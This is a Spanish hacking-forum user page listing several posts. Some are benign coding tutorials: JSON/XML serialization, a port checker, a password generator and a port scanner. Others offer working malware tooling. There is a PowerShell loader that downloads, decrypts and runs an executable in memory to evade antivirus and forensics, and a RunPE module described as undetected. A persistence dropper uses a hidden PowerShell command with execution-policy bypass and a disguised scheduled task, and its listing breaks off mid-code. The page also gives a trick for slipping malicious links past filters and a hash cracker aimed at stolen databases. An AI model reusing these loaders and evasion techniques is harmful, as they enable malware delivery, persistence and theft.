Menú

Mostrar Mensajes

Esta sección te permite ver todos los mensajes escritos por este usuario. Ten en cuenta que sólo puedes ver los mensajes escritos en zonas a las que tienes acceso en este momento.

Mostrar Mensajes Menú

Temas - 79137913

#1
C# - VB.NET / Serializacion JSON y XML en C#
Febrero 22, 2024, 10:16:47 AM
HOLA!!!

En este post, vamos a sumergirnos en el mundo de la serialización de datos en C#, centrándonos específicamente en dos formatos populares: XML y JSON. La serialización es un proceso crucial en el desarrollo de aplicaciones, ya que nos permite convertir objetos en estructuras de datos que pueden ser almacenadas o transmitidas de manera eficiente.

¿Qué es la Serialización?

La serialización es el proceso de convertir objetos en un formato específico que puede ser almacenado o transmitido y luego reconstruido en su forma original. En el contexto de C#, XML y JSON son dos formatos comúnmente utilizados para este propósito.

Serialización de XML en C#

XML (Extensible Markup Language) es un formato de texto que es muy utilizado para el intercambio de datos estructurados. En C#, la serialización de XML se realiza utilizando la clase XmlSerializer, que permite convertir objetos en documentos XML y viceversa.

Código: csharp
// Ejemplo de serialización de XML en C#
using System;
using System.IO;
using System.Xml.Serialization;

public class Program
{
    public static void Main(string[] args)
    {
        // Objeto a serializar
        var persona = new Persona { Nombre = "Juan", Edad = 30 };

        // Serializar objeto a XML
        var serializer = new XmlSerializer(typeof(Persona));
        using (var stream = new StreamWriter("persona.xml"))
        {
            serializer.Serialize(stream, persona);
        }
    }
}

public class Persona
{
    public string Nombre { get; set; }
    public int Edad { get; set; }
}

Serialización de JSON en C#

JSON (JavaScript Object Notation) es un formato ligero de intercambio de datos que es fácil de leer y escribir para los humanos. En C#, la serialización de JSON se puede realizar utilizando la biblioteca System.Text.Json o Newtonsoft.Json.

Código: csharp
// Ejemplo de serialización de JSON en C#
using System;
using System.IO;
using System.Text.Json;

public class Program
{
    public static void Main(string[] args)
    {
        // Objeto a serializar
        var persona = new Persona { Nombre = "Maria", Edad = 25 };

        // Serializar objeto a JSON
        var jsonString = JsonSerializer.Serialize(persona);
        File.WriteAllText("persona.json", jsonString);
    }
}

public class Persona
{
    public string Nombre { get; set; }
    public int Edad { get; set; }
}

No dudes en compartir tus propias experiencias y preguntas!

GRACIAS POR LEER!!!
#2
Hacking / Link Filter Bypass
Octubre 13, 2021, 09:58:37 AM
HOLA!!!

Bueno, hoy les traigo la mejor forma de Bypassear los filtros de links que envian nuestros email maliciosos a Spam, o bien anulan el envio de mensajes directos por ciertas redes sociales, como Twitter por ejemplo.

La tecnica es muy simple y es muy dificil que alguien pueda fixearla.

Simplemente tomaremos nuestro link malicioso y lo pegaremos en google translate, ahi solo deberan entrar en el link que les genera y compartir esa URL, el dominio detectado sera el de google translate.

De esta forma podran bypassear a casi cualquier link filter.

GRACIAS POR LEER!!!
#3
HOLA!!!

Se me ocurrio el otro dia ponerme a armar un script que permita hacer una ejecucion en memoria sin dejar rastros para forenses despues de la ejecucion de nuestro script, luego pasaron cosas y decidi agregarle que el ejecutable descargado se descifre para que el AV no pueda detectar la descarga y para ultima seguridad el ejecutable aparte de estar cifrado estaria zipeado. Asique como imaginaran esto es un incordio para que cualquier AV lo detecte on the fly, y como se ejecuta en memoria solo tenemos que cuidar la heuristica en ejecucion de lo que descarguemos y va a funcionar sin problemas.

Sin mas, al codigo:
Código: text

[System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$true}

$wc = New-Object -TypeName System.Net.WebClient

$wc.Headers.Add("Accept-Language", "en-US,en;q=0." + ([IntPtr]::Size – 1).ToString())

$wc.Headers.Add("User-Agent", "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0)")

$rndn = Get-Random

$wc.Headers.Add("Cookie", "p=" + $rndn)

$data = $wc.DownloadData("[URL AL PROGRAMA]")

#PARAMETROS PARA EJECUTAR (OPCIONAL)
[string[]]$xags = "/s", "[SERVER]", "/p", "[PORT]"

#INICIO DE PROCESO DE DESCIFRADO (OPCIONAL)
$Passphrase = "[CLAVE CIFRADO]"

$salts = "[SALT]"

$r = new-Object System.Security.Cryptography.RijndaelManaged

$pass = [System.Text.Encoding]::UTF8.GetBytes($Passphrase)

$salt = [System.Text.Encoding]::UTF8.GetBytes($salts)



$r.Key = (new-Object Security.Cryptography.PasswordDeriveBytes $pass, $salt, "SHA1″, 5).GetBytes(32) #256/8

$r.IV = (new-Object Security.Cryptography.SHA1Managed).ComputeHash( [Text.Encoding]::UTF8.GetBytes($rndn) )[0..15]



$d = $r.CreateDecryptor()

$ms = new-Object IO.MemoryStream @(,$data)

$cs = new-Object Security.Cryptography.CryptoStream $ms,$d,"Read"
#FIN DE PROCESO DE DESCIFRADO (OPCIONAL)

#DESCOMPRESION (OPCIONAL)
$dfs = New-Object System.IO.Compression.GzipStream $cs, ([IO.Compression.CompressionMode]::Decompress)

$msout = New-Object System.IO.MemoryStream

[byte[]]$buffer = new-object byte[] 4096

[int]$count = 0

do

{

$count = $dfs.Read($buffer, 0, $buffer.Length)

$msout.Write($buffer, 0, $count)

} while ($count -gt 0)



$dfs.Close()

$cs.Close()

$ms.Close()

$r.Clear()



[byte[]]$bin = $msout.ToArray()

$al = New-Object -TypeName System.Collections.ArrayList

#AGREGAR PARAMETROS AL EJECUTABLE (OPCIONAL)
$al.Add($xags) 

$asm = [System.Reflection.Assembly]::Load($bin)

$asm.EntryPoint.Invoke($null, $al.ToArray())

sleep 5

Exit


GRACIAS POR LEER!!!
#4
HOLA!!!

Alguna vez les paso tener que arreglar el problema de "RPC Unavailable" error 1722?, que siempre queda mal en nuestros scripts de active directory o el Configuration manager (ademas de otros lados)ts

Para prevenir esto cree este script que permite verificarlo en batch por servidor, asi no estamos siempre con los mismos problemas de firewall o configuracion.


Sin mas preambulo el codigo:
Código: text

#  Como ejecutar:  RPCCheck -Server NombreDelServidorAqui
#
#  Requerimientos:  portqry.exe (de Sysinternals).
#  El path a portqry.exe tendra que reflectar la ubicacion del script.
#
Param(
[string]$Server
)

workflow Check-Port {
param ([string[]]$RPCServer,[array]$arrRPCPorts)
$comp = hostname

ForEach -parallel ($RPCPort in $arrRPCPorts)
{
$bolResult = InlineScript{Test-NetConnection -ComputerName $Using:RPCServer -port $Using:RPCPort _
-InformationLevel Quiet}
If ($bolResult)
{
Write-Output "$RPCPort en $RPCServer esta disponible"
}
Else
{
Write-Output "$RPCPort en $RPCServer no esta disponible "
}
}
}
$strRPCPort = "135"
#  MODIFICAR ESTE PATH A LA CARPETA DE SYSINTERNALS
$strPortQryPath = "C:\Sysinternals"
If (Test-Path "$strPortQryPath\PortQry.exe")
{
$strPortQryCmd = "$strPortQryPath\PortQry.exe -e $strRPCPort -n $Server"
}
Else
{
Write-Output "Could not locate Portqry.exe at the path $strPortQryPath"
Exit
}
$arrPorts = @()
$arrQuryResult = Invoke-Expression $strPortQryCmd
ForEach ($strResult in $arrQuryResult)
{
If ($strResult.Contains("ip_tcp"))
{
$arrSplt = $strResult.Split("[")
$strPort = $arrSplt[1]
$strPort = $strPort.Replace("]","")
$arrPorts += $strPort
}
}
$arrPorts = $arrPorts | Sort-Object |Select-Object -Unique
Check-Port -RPCServer $Server -arrRPCPorts $arrPorts


Atención:

Tienen que instalar PortQry.
Tendran que escribir el Path del PortQry.exe en esta linea del script: $strPortQryPath = "C:\Sysinternals"
Ademas necesitan PowerShell v4
PortQry.exe se descarga de No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

GRACIAS POR LEER!!!
#5
HOLA!!!

Si eres nuevo en la programacion o piensas elegir No tienes permitido ver los links. Registrarse o Entrar a mi cuenta como tu lenguaje principal por favor lee esto antes:

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

Ya no recomiendo aprender No tienes permitido ver los links. Registrarse o Entrar a mi cuenta, Intenten aprender C#.

Saludos.  :'( :'( :'( :'( :'( :'( :'( :'( :'( :'( :'( :'(

GRACIAS POR LEER!!!
#6
C# - VB.NET / [SOURCE] RunPE VB.NET
Febrero 06, 2020, 01:53:11 PM
HOLA!!!

Esta vez no les traigo una tool de hacking en si misma, sino algo mucho mas... peligroso Jajaja.

Esto que veremos aqui es un codigo completo para ubicar en un Modulo de nuestro proyecto de No tienes permitido ver los links. Registrarse o Entrar a mi cuenta con la capacidad de ejecutar en memoria un archivo EXE (o cualquier otro ejecutable con estructura PE) que anteriormente hayamos convertido en un byte array o bien un string que contenga el byte array.

Este codigo aparte de tener el clasico RunPE posee un pequeño snippet que permite convertir un string en un byte array, para los curiosos les recomiendo experimentar con esa funcion.

Ahora nos vamos al codigo:
Código: vbnet
'By 79137913 for Underc0de
'Thanks to ANTRAX

Imports System.Reflection
Imports System.Runtime.InteropServices
Imports System.Security
Imports System.Threading

Module PE79137913
    <DllImport("kernel32.dll")>
    Private Sub RtlZeroMemory(ByVal address As IntPtr, ByVal size As Integer)
    End Sub
    <SuppressUnmanagedCodeSecurity>
    Private Delegate Function ExecuteAssembly(ByVal sender As Object, ByVal parameters As Object()) As Object

    'Llama esta funcion para ejecutar tu exe convertido a Byte Array.
    Sub Ejecutar(ByVal buffer As Byte())
        Dim Llave As Integer = BitConverter.ToInt32(buffer, 60)
        buffer(Llave + 920) = CByte(2)
        Dim ParametrosEx As Object() = Nothing
        Dim Ejecutable As Assembly = Thread.GetDomain().Load(buffer)
        Dim PuntoDeEntrada As MethodInfo = Ejecutable.EntryPoint
        If PuntoDeEntrada.GetParameters().Length > 0 Then
            ParametrosEx = New Object() {New String() {Nothing}}
        End If

        Dim HiloDeEjecucion As Thread = New Thread(
            Sub()
                Thread.BeginThreadAffinity()
                Thread.BeginCriticalRegion()
                Dim EjecutarEjecutable As ExecuteAssembly = New ExecuteAssembly(AddressOf PuntoDeEntrada.Invoke)
                EjecutarEjecutable(Nothing, ParametrosEx)
                Thread.EndCriticalRegion()
                Thread.EndThreadAffinity()
            End Sub
            )

        If ParametrosEx IsNot Nothing Then
            If ParametrosEx.Length > 0 Then
                HiloDeEjecucion.SetApartmentState(ApartmentState.MTA)
            Else
                HiloDeEjecucion.SetApartmentState(ApartmentState.STA)
            End If
        End If
        RtlZeroMemory(Marshal.GetHINSTANCE(Ejecutable.ManifestModule), 32)
        HiloDeEjecucion.Start()
    End Sub

    'Usa esta funcion para ejecutar tu exe en forma de String
    Sub Ejecutar(ByVal strBuffer As String)
        Dim Buffer As Byte() = StrToByte(strBuffer)
        Ejecutar(Buffer) 'Ejecuta la cadena de texto convertida a Byte Array
    End Sub

    'Funcion auxiliar para convertir el String en un Byte Array
    Private Function StrToByte(ByVal buffer As String) As Byte()
        Dim ByteBufferEx As Byte() = New Byte(buffer.Length - 1) {}
        For i As Integer = 0 To buffer.Length - 1
            ByteBufferEx(i) = CByte(Val(buffer(i)))
        Next
        Return ByteBufferEx
    End Function
End Module


P.D.: El presente codigo es [FUD] al dia de la fecha, no se cuanto dure, pero por ahora solo lo detecta avira. Disfruten!

GRACIAS POR LEER!!!
#7
HOLA!!!

Hoy veremos como crear un PortScanner asincrono con No tienes permitido ver los links. Registrarse o Entrar a mi cuenta!

1)Primero crearemos el proyecto


2)Entramos en la seccion de Codigo Fuente de nuestra aplicacion y pegamos lo siguiente:
Código: vbnet

'By 79137913 for http://underc0de.org
Imports System.Net.Sockets
Imports System.Net
Imports System.Threading
Module PortScanner
    Sub Main()
        'Creamos el banner
        Console.WriteLine("  _    _           _                ___      _      ")
        Console.WriteLine(" | |  | |         | |              / _ \    | |     ")
        Console.WriteLine(" | |  | |_ __   __| | ___ _ __ ___| | | | __| | ___ ")
        Console.WriteLine(" | |  | | '_ \ / _` |/ _ \ '__/ __| |/| |/ _` |/ _ \")
        Console.WriteLine(" | |__| | | | | (_| |  __/ | | (__| |_| | (_| |  __/")
        Console.WriteLine("  \____/|_| |_|\__,_|\___|_|  \___|\___/ \__,_|\___|")
        Console.WriteLine("                            Port Scanner By 79137913")
        Console.WriteLine("")

        Console.WriteLine("Inserte el Puerto de inicio:    ")
        Dim PortIni As Integer = Console.ReadLine 'Solicitamos el Puerto de inicio
        Console.WriteLine("Inserte el Puerto de finalizacion: ")
        Dim PortFin As Integer = Console.ReadLine 'Solicitamos el Puerto de Finalizacion
        Console.WriteLine("Inserte IP a escanear: ")
        Dim IP As String = Console.ReadLine
        If IPAddress.TryParse(IP, Nothing) = False Then 'Si el ip esta mal escrito
            Console.WriteLine("El IP Ingresado es erroneo.")
            Exit Sub
        End If

        If PortIni <= 0 Then PortIni = 1 'Verificamos que ninguno de los dos puertos sea 0 o menor
        If PortFin <= 0 Then PortFin = 1 'Verificamos que ninguno de los dos puertos sea 0 o menor
        If PortFin < PortIni Then 'Si el puerto de incio es mayor que el puerto final los intercambiamos
            Dim Aux As Integer
            Aux = PortIni
            PortIni = PortFin
            PortFin = Aux
        End If
        If PortFin > 65535 Then PortFin = 65535 'Verificamos que el puerto final no sea mayor que 65535

        For port = PortIni To PortFin
            Dim auxPort As Long = port 'Creamos una variable auxiliar para manejar la funcion lambda de una manera segura.
            Task.Run(Sub() CheckPort(auxPort, IP))
        Next
        Console.WriteLine("Espere los resultados o presione ENTER para salir.")
        Console.ReadLine() ' Esperamos los resultados
    End Sub

    Private Sub CheckPort(ByVal port As Long, ByVal IP As String)
        Dim myTcpClient As New TcpClient() ' Creamos un cliente TCP
        Try
            myTcpClient.Connect(IP, port) 'Creamos una conexion con el ip y puerto
            Console.WriteLine("Puerto " + port.ToString() + " Abierto ")
            myTcpClient.Close() 'Cerramos la conexion
        Catch ex As SocketException
            Console.WriteLine("Puerto " + port.ToString() + " Cerrado " + ex.Message)  'Si hay un error lo ponemos como cerrado e indicamos cual es la causa.
        End Try
    End Sub
End Module


3)Cuando ya colocamos el codigo solo queda iniciar (apretar F5) e ir respondiendo lo que nos pide el programa:


Descargar Source: No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

Hecho y redactado por 79137913

Agradecimientos @Antrax

Para los curiosos:
Veran que mediante el metodo No tienes permitido ver los links. Registrarse o Entrar a mi cuenta Pude ejecutar funciones de forma asincrona, esto nos sirve para que el codigo no se quede esperando a que cada puerto sea escaneado y a su vez escanee todos a la vez.
Si quieres ver el codigo en C# te invito a usar el conversor de codigo de No tienes permitido ver los links. Registrarse o Entrar a mi cuenta es muy facil y practico.

GRACIAS POR LEER!!!
#8
HOLA!!!

Hoy veremos como crear un Generador de Contraseñas Seguras con No tienes permitido ver los links. Registrarse o Entrar a mi cuenta!

1)Primero crearemos el proyecto


2)Luego en el Form1 Realizar la siguente interfaz (respetando los nombres de los controles):

y luego poner las propiedades .Text de la siguiente forma:


3)Vamos a la seccion de codigo del formulario y pegamos lo siguiente:
Código: vbnet

'By 79137913 for http://underc0de.org
Module ControlArray
    'creamos un Array de controles con los botones asi es mas facil manejarlos.
    Public Chars() As Button = {Form1.Char1, Form1.Char2, Form1.Char3, Form1.Char4, Form1.Char5, Form1.Char6, Form1.Char7, Form1.Char8, Form1.Char9, Form1.Char10, Form1.Char11, Form1.Char12, Form1.Char13, Form1.Char14, Form1.Char15, Form1.Char16}
End Module
Public Class Form1
    Dim Sym() As String = Split("/ \ ! · $ % & / ( ) = ' "" ¡ ¿ ? < > . , : ; - _ * +") 'Simbolos
    Private Function PalabrasPronunciables7913(Letras As Long) As String
        Dim Aux As Long 'Caracteres restantes
        Dim Act As Long 'Variable para hacer aleatorio el select
        Dim Ret As String = "" 'Variable de retorno
        Dim Uno() As String : Dim Dos() As String 'Variables de almacenamiento de silabas
        Dim Tre() As String : Dim Tr2() As String : Dim Tr3() As String 'Variables de almacenamiento de silabas
        Dim Cua() As String : Dim Cu2() As String : Dim Cin() As String 'Variables de almacenamiento de silabas
        Randomize() 'Utilizado para que las combinaciones siempre sean diferentes
        Uno = Split("a e i o u")
        Dos = Split("ab ad ak al am an ar as az ba be bi bo bs bu da de di do du ed ef ek el em en er es fa fe fi fo fu ga ge gi go gu ia id ie im in ir is iz ja je ji jo ju ka que ki ko ku la le li lo lu ma me mi mo mu na ne ni nn no nu ña ñe ñi ño ñu ob oi ok ol on op or os pa pe pi po pu qa ra re ri ro ru sa se si so ss su ta te ti to tu ud ue ui uk ul um un ur us xa xe xi xo xu ya ye yi yo yu za ze zi zo")
        Tre = Split("abs bad bal ban bar bas bea bed bel ben ber bes bia bid bie bik bil bin bir bis bla ble bli blo boa boi bol bom bor bos boz bra bre bri bro bru bue bui bul bur bus cha che chi cho chu dad dak dam dan dar das dea ded del den der des dez dia did die dir dis doa doi don dop dor dos dra dre dri dro dru dua due duk dum duo dur duz eks fad fak fal fan far fas fek fen fer fes fia fid fie fil fin fir fis fla flo flu fon for fra fre fri fue fui fun gad gal gan gar gas gem gen ger ges gia gid gie gil gir gis gla gle glo gol gon gor gos gra gre gri gro gru gua gue güi gun guo gus ian ias ier ils ins jad jak jal jan jar jas jaz jed jem jen jer jes jia jid jie jir jis jon jor jos jue")
        Tr2 = Split("jun jus juz kad kal kam kan kar kas kea kel ken kes kez kia kie kin kis kla kle kli klo klu koe kol kom kon kor kos kot kra kre kri kro kru kua kue kui kul kum kun kuo kur lad lan lar las lea led lek len ler les lez lia lie lim lin lir lis lla lle lli llo lom lon lor los lua lud lue lum lun lus lus mad mak mal man mar mas mea med mek men mer mes mez mia mid mie mil min mir mis miz mon mor mos mue mui mul mun nad nal nan nar nas naz nea ned nen ner nes net nez nia nid nie nin nir nis nom nor nos noz nua nue nui nun nuo ñad ñak ñan ñar ñas ñed ñen ñes ñia ñir ñis ñol ñor ños oia oid oim oir ois pad pak pal pan par pas paz pea pek pel pen per pes pez pia pie pin pis pla ple")
        Tr3 = Split("pli plo pon por pos pra pre pri pro pru pue pul pun pur pus rad rak ral ran rar ras raz rea red rek ren res rez ria rid rie rir ris roa roe ron ros rra rre rri rro rru run sad sak sal san sar sas saz sea sed sek sem sen sep ser ses sia sie sig sil sim sin sir sis soi sol son sor sos sua sub sul sun sur sus tad tal tam tan tar tas tea ted tek tem ten ter tes tia tid tie tin tir tis toi ton tor tos tra tre tri tro tru tua tud tue tui tum tun tuo tur tus tut ueb uel ues uia uid uin uir uis xak xan xar xas xed xen xer xes xia xid xie xir xis xue xun yad yan yar yas yek yen yer yes yor yos yun zad zad zam zan zar zas zea zed zen zep zer zes zia zid zie zin zir zis zit zon zos")
        Cua = Split("bean beas biad bian biar bias biem bien bier bies blad blan blar blas blen bles blos brad bran brar bras bren bres bria brid brie bril brin brir bris bron bros buel buen buia buid buir buis chad chan char chas chen ches chis chos deas diad dial dian diar dias dien dies diez doem doin drad dran drar dras dren dres dria drid dron duad duan duar duas duen duer dues fiad fian fiar fias fien fies flek flik flui fran fras fren fres fria frie frir fron fuel fuen fuer fuis giad giar gias gien gies glad glan glar glas glen gles grad gran grar gras gren gres gris gros guad gual guan guar guas guen gues guez jiad jian jiar jias jien jies joan juez kear kers kiad kian kiar kief kien kier kies king klad klan klar klas klea klen kles klos klui koin kons krea kred kren krer kres krez kria krie kruz kuad kual kuam kuan kuar kuas kuel kuen kuer kues kuns lead")
        Cu2 = Split("lean lear leas lian liar lias lien lies llad llan llar llas llen lles llon llos luar mean mear meas mian mias miem mien mier muer mues neas nian nias nien nuad nuan nuar nuas nuen nues nuia nuid nuir nuis nuks ñias oian oias pers piad pian piar pias pien pier pies plan plas plea plen ples plid plie plir plis plus prad prak pran prar pras pren prer pres prie prin proe proi prok prue puer pues reas riad rial rian riar rias rien ries rins rrad rran rrar rras rrea rred rrek rren rrer rres rria rrid rrie rrin rrir rris rrom rrue sead sean sear seas sian sias siem sien soft sual tead tean tear teas teks ters tial tian tias tiem tien tlan trad tral tram tran trar tras tren tres trol tros tros trui truk tuad tual tuan tuar tuas tuen tuer tues tuia tuid tuir tuis uian uias xian xias xien zead zean zear zeas ziad zial zian ziar zias ziem zien zier zies")
        Cin = Split("brean brian brias buian buias drian drias fluen fluia fluid fluir fluis frian frias frien fries kluia kluid kluir kluis kread krean krear kreas kriad krian kriar krias krien kries nuian nuias plead plean plear pleas plian plias plien rreak rreal rrian rriar rrias rrien rries trans truia truid truir truis tuian tuias fluian fluias kluian kluias truian truias")
        Do
            Aux = Letras - Ret.Length
            If Aux <= 0 Then Return Ret
            If Aux > 5 Then
                Act = Int(Rnd() * 5) + 1
            Else
                Act = Int(Rnd() * Aux) + 1
            End If
            Select Case Act
                Case 1
                    Ret = Ret & Uno(Int(Rnd() * 5))
                Case 2
                    Ret = Ret & Dos(Int(Rnd() * 130))
                Case 3
                    Select Case Int(Rnd() * 3)
                        Case 0
                            Ret = Ret & Tre(Int(Rnd() * 170))
                        Case 1
                            Ret = Ret & Tr2(Int(Rnd() * 170))
                        Case 2
                            Ret = Ret & Tr3(Int(Rnd() * 170))
                    End Select
                Case 4
                    Select Case Int(Rnd() * 2)
                        Case 0
                            Ret = Ret & Cua(Int(Rnd() * 171))
                        Case 1
                            Ret = Ret & Cu2(Int(Rnd() * 171))
                    End Select
                Case 5
                    Ret = Ret & Cin(Int(Rnd() * 59))
            End Select
        Loop
    End Function
    Private Sub Form1_Load(sender As Object, e As EventArgs) Handles MyBase.Load
        For Each bt As Button In Me.Controls.OfType(Of Button)()
            'Poner los event handlers de cada boton en el mismo sub.
            AddHandler bt.Click, AddressOf ButtonChar_Click
        Next
        Password.Text = MakePass()
    End Sub
    Private Sub ButtonChar_Click(sender As Object, e As EventArgs)
        Dim bt = DirectCast(sender, Button)
        'Cambiamos el Texto del boton
        Select Case bt.Text
            Case "A"
                bt.Text = "a"
            Case "a"
                bt.Text = "Aa"
            Case "Aa"
                bt.Text = "0"
            Case "0"
                bt.Text = "$"
            Case "$"
                bt.Text = "X"
            Case "X"
                bt.Text = "A"
        End Select
        Password.Text = MakePass() 'Creamos una contraseña
    End Sub
    Private Function MakePass() As String
        Dim AuxString As String = ""
        Dim AuxPass As String = "xxxxxxxxxxxxxxxx"
        Dim FlagProcesar As Boolean = False
        For x = 0 To 15
            'Armar Pass
            Select Case Chars(x).Text
                Case "A"
                    AuxString = AuxString & Chars(x).Text
                Case "a"
                    AuxString = AuxString & Chars(x).Text
                Case "Aa"
                    'Elegir aleatoriamente mayuscula o minuscula
                    If Int(Rnd() * 2) Then
                        AuxString = AuxString & "A"
                    Else
                        AuxString = AuxString & "a"
                    End If
                Case "0"
                    'Elegimos aleatoriamente el numero
                    Mid(AuxPass, x + 1, 1) = Int(Rnd() * 10)
                    FlagProcesar = True
                Case "$"
                    'Elegimos aleatoriamente el simbolo
                    Mid(AuxPass, x + 1, 1) = Sym(Int(Rnd() * 26))
                    FlagProcesar = True
                Case "X"
                    FlagProcesar = True
            End Select
            If FlagProcesar Then
                Mid(AuxPass, x + 1 - AuxString.Length, AuxString.Length) = PalabrasPronunciables7913(AuxString.Length)
                For y = 1 To AuxPass.Length
                    If Mid(AuxString, y, 1) = "A" Then
                        Mid(AuxPass, x - AuxString.Length + y, 1) = UCase(Mid(AuxPass, x - AuxString.Length + y, 1))
                    End If
                Next
                AuxString = ""
                FlagProcesar = False
                If Chars(x).Text = "X" Then
                    AuxPass = Mid(AuxPass, 1, x)
                    Exit For
                End If
            End If
        Next
        Return AuxPass
    End Function
End Class


Cuando ya colocamos el codigo solo queda iniciar (apretar F5) y empezar a usarlo solo clickeamos los botones para elegir el patron de texto que queremos para nuestra contraseña y la magia comienza:


Descargar Source: No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

Hecho y redactado por 79137913

Agradecimientos @Antrax

Para los curiosos:
En esta edicion tenemos 2 cosas muy interesantes, la primera, como crear arrays de controles y como unir los handlers a un solo sub y la segunda es la funcion PalabrasPronunciables7913 que te permite obtener palabras pronunciables de cualquier largo, puede ser muy util si son creativos.

GRACIAS POR LEER!!!
#9
HOLA!!!

Imaginemos que utilizando el No tienes permitido ver los links. Registrarse o Entrar a mi cuenta que programamos hace un tiempo encontramos una web y nos hicimos con su base de datos, ¡Pero todas sus contraseñas estan en MD5 o SHA1! ¿Que podemos hacer? Para esto utilizaremos la tool que crearemos en esta edicion y ademas el No tienes permitido ver los links. Registrarse o Entrar a mi cuenta que hicimos con anterioridad.

Hoy veremos como crear un HashCracker con No tienes permitido ver los links. Registrarse o Entrar a mi cuenta!

1)Primero crearemos el proyecto


2)Luego en el Form1 Realizar la siguente interfaz (respetando los nombres de los controles)[ademas agregaremos un OpenFileDialog llamado OpenFileDialog1 y dos BackgroundWorkers llamados bwSHA1 y bwMD5]:


2.b)Establecemos las propiedades text de los componentes para que queden de la siguiente manera:


3)Pegamos el siguiente codigo:
Código: vbnet
Imports System.ComponentModel
Imports System.IO
Imports System.Security.Cryptography
Imports System.Text

Public Class Form1


    Private Sub Form1_Load(sender As Object, e As EventArgs) Handles MyBase.Load
        'Deshabilitamos el TextBox txtPathDiccionario para que no puedan escribir a mano en el.
        txtPathDiccionario.Enabled = False
        'Aplicamos filtro en el Dialogo de Seleccion de Archivo para que solo muestre archivos de texto
        OpenFileDialog1.Filter = "Archivos de Texto|*.txt;*.text"
    End Sub

    Private Sub btnDict_Click(sender As Object, e As EventArgs) Handles btnDict.Click
        ' Mostramos el Dialogo de Seleccion de Archivo
        Dim result As DialogResult = OpenFileDialog1.ShowDialog()
        'Verificamos que el archivo haya sido seleccionado, si no fue asi, salimos
        If result <> DialogResult.OK Then Exit Sub
        'Escribimos la ubicacion del archivo en el TextBox
        txtPathDiccionario.Text = OpenFileDialog1.FileName
        'Indicamos que nuestros BW reportan progreso
        bw.WorkerReportsProgress = True
    End Sub

    Private Sub btnInit_Click(sender As Object, e As EventArgs) Handles btnInit.Click
        'Deshabilitamos los controles para que no se cambie su contenido durante la ejecucion
        txtHash.Enabled = False
        radSHA1.Enabled = False
        radMD5.Enabled = False
        btnInit.Enabled = False
        btnDict.Enabled = False
        'Iniciamos BW
        bw.RunWorkerAsync()
    End Sub

    Private Sub bw_DoWork(sender As Object, e As DoWorkEventArgs) Handles bw.DoWork
        'Verificamos la cantidad de lineas para mantener un conteo del progreso
        Dim CantidadLineas = File.ReadAllLines(txtPathDiccionario.Text).Length
        Dim LineaActual As Long = 0
        'Creamos una lector para el archivo de diccionario
        Dim reader As StreamReader = My.Computer.FileSystem.OpenTextFileReader(txtPathDiccionario.Text)
        Dim ClaveActual As String = ""
        Dim HashActual As String = ""
        'Hacemos un bucle linea por linea verificando si coincide el hash con alguna del las claves en el diccionario
        Do
            ClaveActual = reader.ReadLine
            If ClaveActual Is Nothing Then Exit Sub 'Si llegamos al final del archivo salimos.
            'Ejecutamos la creacion del hash correspondiente
            If radMD5.Checked = True Then HashActual = generarMD5(ClaveActual)
            If radSHA1.Checked = True Then HashActual = generarSHA1(ClaveActual)
            'Verificamos si coincide
            If txtHash.Text = HashActual Then
                'Si el hash corresponde con el generado notificamos al usuario
                MsgBox("Clave encontrada: """ & ClaveActual & """ (sin comillas).")
                'Terminamos el Loop
                Exit Do
            End If
            'Actualizacion de progreso
            LineaActual = LineaActual + 1
            If LineaActual > CantidadLineas / 100 Then
                bw.ReportProgress(LineaActual / CantidadLineas * 100)
                LineaActual = 0
            End If
        Loop
        reader.Close()
    End Sub

    Private Sub bw_ProgressChanged(sender As Object, e As ProgressChangedEventArgs) Handles bw.ProgressChanged
        'Actualizamos el porcentaje del Progressbar
        ProgressBar1.Value += e.ProgressPercentage
    End Sub

    Private Sub bw_RunWorkerCompleted(sender As Object, e As RunWorkerCompletedEventArgs) Handles bw.RunWorkerCompleted
        'Rehabilitamos los controles.
        txtHash.Enabled = True
        radSHA1.Enabled = True
        radMD5.Enabled = True
        btnInit.Enabled = True
        btnDict.Enabled = True
        ProgressBar1.Value = 0
        MsgBox("Proceso completado")
    End Sub

    Function generarMD5(ByVal str As String) As String
        'Funcion de generacion de hash MD5
        Dim Bytes() As Byte
        Dim sb As New StringBuilder()
        If String.IsNullOrEmpty(str) Then Return ""
        Bytes = Encoding.Default.GetBytes(str)
        Bytes = MD5.Create().ComputeHash(Bytes)
        For x As Integer = 0 To Bytes.Length - 1
            sb.Append(Bytes(x).ToString("x2"))
        Next
        Return sb.ToString()
    End Function

    Function generarSHA1(ByVal str As String) As String
        'Funcion de generacion de hash SHA1
        Dim sha1Obj As New Security.Cryptography.SHA1CryptoServiceProvider
        Dim bytesToHash() As Byte = System.Text.Encoding.ASCII.GetBytes(str)
        bytesToHash = sha1Obj.ComputeHash(bytesToHash)
        Dim strResult As String = ""
        For Each b As Byte In bytesToHash
            strResult += b.ToString("x2")
        Next
        Return strResult
    End Function
End Class


Para utilizar solo elijan el archivo de diccionario, pongan el hash a crackear y presionen iniciar.

Ahora es tu turno, podes agregarle nuevos tipos de hash o inclusive convertirlo en una herramienta de criptografia completa.

Para los curiosos y como un proyecto de fin de semana los invito a modificar este programa para que pueda hacer busqueda de varios hashes al mismo tiempo.

Descargar: No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

GRACIAS POR LEER!!!
#10
HOLA!!!

Chicos les paso este código muy bueno que armé para ejecutar un payload desde powershell a traves de VBNET con recursos, solo poner el payload en My.Resources.PYLD
Ademas es persistente.
Código: vbnet
Public Class Program
    Public Shared Sub Main()
        Dim Payload As String = Nothing
        Try
            'Convierto recurso a B64
            PYLDSTR= Convert.ToBase64String(My.Resources.PYLD)
        Catch ex As Exception
        End Try
        Try
            'Guardamos en el registro para luego levantarlo
            Microsoft.Win32.Registry.CurrentUser.CreateSubKey("Software\PYLDAPP").SetValue("PYLD", PYLDSTR)
        Catch ex As Exception
        End Try
        Dim PS As String = Nothing
        Try
            PS = "powershell -ExecutionPolicy Bypass -NoProfile -WindowStyle Hidden -NoExit -Command [System.Reflection.Assembly]::Load([System.Convert]::FromBase64String((Get-ItemProperty HKCU:\Software\PYLDAPP\).PYLD)).EntryPoint.Invoke($Null,$Null)"
            'guardamos el task como PolicyUpdate
            Diagnostics.Process.Start(New Diagnostics.ProcessStartInfo() With {
                .FileName = "schtasks",
